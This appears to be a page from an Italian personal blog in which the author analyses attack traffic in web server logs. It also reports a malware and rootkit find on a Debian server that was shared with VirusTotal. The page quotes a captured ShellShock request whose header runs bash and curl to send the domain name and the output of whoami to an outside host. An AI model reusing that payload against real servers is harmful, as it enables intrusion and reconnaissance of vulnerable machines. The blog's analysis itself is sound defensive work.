(la riga xxxxxx.org indica il nome del server che e' sottoposto ad attacco)

xx.xxx.xx.xxx - - [05/Oct/2014:11:53:00 +0200] "GET / HTTP/1.1" 200 88868 "-" "() { :;}; /bin/bash -c \"curl http://ntontomou.com/custom/ping.php?domain=xxxxxxxxxx.org\\&whoami=`whoami`\""

in pratica si tratta di una enumerazione piu' che di un attacco. Lo script controlla se la macchina e' vulnerabile a ShellShock ed in caso positivo si collega al sito ntontomou.com aggiornando la pagina ping.php per creare un elenco
La cosa interessante e' che oltre al nome del dominio viene passato anche il risultato del comando whoami credo per mostrare con che utente viene gestito il webserver (tipo www-data)

Cercando tracce di ShellShock ho trovato anche questa richiesta

xx.xxxx.xxx.xxx - - [29/Sep/2014:11:53:39 +0000] "GET /tmUnblock.cgi HTTP/1.1" 400 519 "-" "-"

da una ricerca non si tratta di una scansione ShellShock ma si cerca di sfruttare una vulnerabilita' di router Cisco o Linksys (peccato che le macchine scansionate siano tutte Linux)

venerdì 3 ottobre 2014

Trojan (cinese?) su server Debian 2

Qualche giorno fa avevo segnalato la presenza di un file sospetto su un server Debian ma non avevo trovato notizie su Internet

A seguito del post sono stato contattato da persone legate a Virustotal.com che mi chiedevano di condividere il file per una analisi (sicuramente piu' dettagliata di quella che avevo fatto io)
Dopo aver fatto qualche verifica che non stavo mandando il programma a male intenzionati ho effettuato l'upload e sono stato autorizzato a pubblicare una sintesi (non il dettaglio) dello scambio di mail che abbiamo avuto

1: avevo intuito bene e mi e' stato confermato che il file da me segnalato era malware peraltro non ancora segnalato su Virustotal

2: il programma aveva un compagno di un rootkit posizionato in /proc/rs_dev. Putroppo il server nel frattempo e' stato formattato e non ho piu' posssibilita' di esaminare il file richiesto

3: il componente sembra legato alla famiglia citata in questo post.(mi ricordo che vecchi tempi in cui i virus sotto Ms-Dos  usavano una tecnica simile)



FTP Bash script

 Uno script rubato su stack overflow per fare l'upload automatico su FTP senza criptazione   #!/bin/sh HOST='ftp.xxxxx.altervista.or...